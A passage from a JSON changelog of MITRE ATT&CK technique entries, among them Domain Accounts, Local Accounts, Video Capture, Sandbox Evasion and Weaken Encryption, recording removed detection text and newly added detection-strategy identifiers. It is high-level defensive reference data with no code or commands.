configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)\n\nAdversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078/002", + "external_id": "T1078.002" + }, + { + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx" + }, + { + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx" + }, + { + "source_name": "Microsoft AD Accounts", + "description": "Microsoft. (2019, August 23). Active Directory Accounts. Retrieved March 13, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts" + }, + { + "source_name": "Ubuntu SSSD Docs", + "description": "Ubuntu. (n.d.). SSSD. Retrieved September 23, 2021.", + "url": "https://ubuntu.com/server/docs/service-sssd" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jon Sternstein, Stern Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Authentication\", \"Logon Session: Logon Session Creation\", \"Logon Session: Logon Session Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.034000+00:00\", \"old_value\": \"2025-04-16 20:37:20.358000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n\\nOn Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \\n\\nPerform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\\n-\\n-On Linux, check logs and other artifacts created by use of domain authentication services, such as the System Security Services Daemon (sssd).(Citation: Ubuntu SSSD Docs) \\n-\\n-Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1017: User Training", + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0210: Abuse of Domain Accounts" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-13 20:26:46.695000+00:00", + "modified": "2025-10-24 17:49:39.874000+00:00", + "name": "Local Accounts", + "description": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1078/003", + "external_id": "T1078.003" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "Containers", + "Network Devices", + "ESXi" + ], + "x_mitre_version": "1.5", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Logon Session: Logon Session Metadata\", \"User Account: User Account Authentication\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:39.874000+00:00\", \"old_value\": \"2025-04-15 19:59:24.607000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Perform regular audits of local system accounts to detect accounts that may have been created by an adversary for persistence. Look for suspicious account behavior, such as accounts logged in at odd times or outside of business hours.\"}}}", + "previous_version": "1.5", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Authentication)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0028: Logon Session (Logon Session Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0407: Detection of Local Account Abuse for Initial Access and Persistence" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:37.917000+00:00", + "modified": "2025-10-24 17:48:56.077000+00:00", + "name": "Video Capture", + "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1125", + "external_id": "T1125" + }, + { + "source_name": "objective-see 2017 review", + "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:56.077000+00:00\", \"old_value\": \"2025-04-25 15:15:42.332000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\\n\\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\\n-\\n-Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0197: Behavior-chain, platform-aware detection strategy for T1125 Video Capture" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-04-17 22:22:24.505000+00:00", + "modified": "2025-10-24 17:49:02.638000+00:00", + "name": "Virtualization/Sandbox Evasion", + "description": "Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1497", + "external_id": "T1497" + }, + { + "source_name": "Unit 42 Pirpi July 2015", + "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + }, + { + "source_name": "Deloitte Environment Awareness", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.", + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Deloitte Threat Library Team", + "Sunny Neo" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:02.638000+00:00\", \"old_value\": \"2025-04-15 19:58:47.123000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0046: Detection Strategy for T1497 Virtualization/Sandbox Evasion" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-06 20:57:37.959000+00:00", + "modified": "2025-10-24 17:48:33.591000+00:00", + "name": "System Checks", + "description": "Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nSpecific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), [System Information Discovery](https://attack.mitre.org/techniques/T1082), and [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. Adversaries may use scripting to automate these checks into one script and then have the program exit if it determines the system to be a virtual environment. \n\nChecks could include generic system properties such as host/domain name and samples of network traffic. Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. Once executed, malware may also use [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) to check if it was saved in a folder or file with unexpected or even analysis-related naming artifacts such as `malware`, `sample`, or `hash`.\n\nOther common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. \n \nHardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1497/001", + "external_id": "T1497.001" + }, + { + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + }, + { + "source_name": "McAfee Virtual Jan 2017", + "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019.", + "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/" + }, + { + "source_name": "Deloitte Environment Awareness", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.", + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Deloitte Threat Library Team", + "Kostya Vasilkov" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:33.591000+00:00\", \"old_value\": \"2025-04-15 19:58:16.253000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Virtualization/sandbox related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.\"}}}", + "previous_version": "2.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0168: Virtualization/Sandbox Evasion via System Checks across Windows, Linux, macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-03-06 21:04:12.454000+00:00", + "modified": "2025-10-24 17:49:06.305000+00:00", + "name": "User Activity Based Checks", + "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1497/002", + "external_id": "T1497.002" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "Unit 42 Sofacy Nov 2018", + "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Sans Virtual Jan 2016", + "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019.", + "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667" + }, + { + "source_name": "Deloitte Environment Awareness", + "description": "Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved September 13, 2024.", + "url": "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc/edit" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Deloitte Threat Library Team" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.305000+00:00\", \"old_value\": \"2025-04-15 19:58:51.123000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0420: Detect User Activity Based Sandbox Evasion via Input & Artifact Probing" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1f9012ef-1e10-4e48-915e-e03563435fe8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 18:47:08.759000+00:00", + "modified": "2025-10-24 17:48:30.124000+00:00", + "name": "Weaken Encryption", + "description": "Adversaries may compromise a network device\u2019s encryption capability in order to bypass encryption that would otherwise protect data communications. (Citation: Cisco Synful Knock Evolution)\n\nEncryption can be used to protect transmitted network traffic to maintain its confidentiality (protect against unauthorized disclosure) and integrity (protect against unauthorized changes). Encryption ciphers are used to convert a plaintext message to ciphertext and can be computationally intensive to decipher without the associated decryption key. Typically, longer keys increase the cost of cryptanalysis, or decryption without the key.\n\nAdversaries can compromise and manipulate devices that perform encryption of network traffic. For example, through behaviors such as [Modify System Image](https://attack.mitre.org/techniques/T1601), [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001), and [Disable Crypto Hardware](https://attack.mitre.org/techniques/T1600/002), an adversary can negatively effect and/or eliminate a device\u2019s ability to securely encrypt network traffic. This poses a greater risk of unauthorized disclosure and may help facilitate data manipulation, Credential Access, or Collection efforts. (Citation: Cisco Blog Legacy Device Attacks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1600", + "external_id": "T1600" + }, + { + "source_name": "Cisco Synful Knock Evolution", + "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.", + "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:30.124000+00:00\", \"old_value\": \"2025-04-25 15:15:15.040000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There is no documented method for defenders to directly identify behaviors that weaken encryption. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601). Some detection methods require vendor support to aid in investigation.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0339: Detection Strategy for Weaken Encryption on Network Devices" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--7efba77e-3bc4-4ca5-8292-d8201dcd64b5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-19 19:11:18.757000+00:00", + "modified": "2025-10-24 17:49:01.374000+00:00", + "name": "Disable Crypto Hardware", + "description": "Adversaries disable a network device\u2019s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data.\n\nMany network devices such as routers, switches, and firewalls, perform encryption on network traffic to secure transmission across networks. Often, these devices are equipped with special, dedicated encryption hardware to greatly increase the speed of the encryption process as well as to prevent malicious tampering. When an adversary takes control of such a device, they may disable the dedicated hardware, for example, through use of [Modify System Image](https://attack.mitre.org/techniques/T1601), forcing the use of software to perform encryption on general processors. This is typically used in conjunction with attacks to weaken the strength of the cipher in software (e.g., [Reduce Key Space](https://attack.mitre.org/techniques/T1600/001)). (Citation: Cisco Blog Legacy Device Attacks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1600/002", + "external_id": "T1600.002" + }, + { + "source_name": "Cisco Blog Legacy Device Attacks", + "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.", + "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:01.374000+00:00\", \"old_value\": \"2025-04-25 14:47:14.891000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"There is no documented method for defenders to directly identify behaviors that disable cryptographic hardware. Detection efforts may be focused on closely related adversary behaviors, such as [Modify System 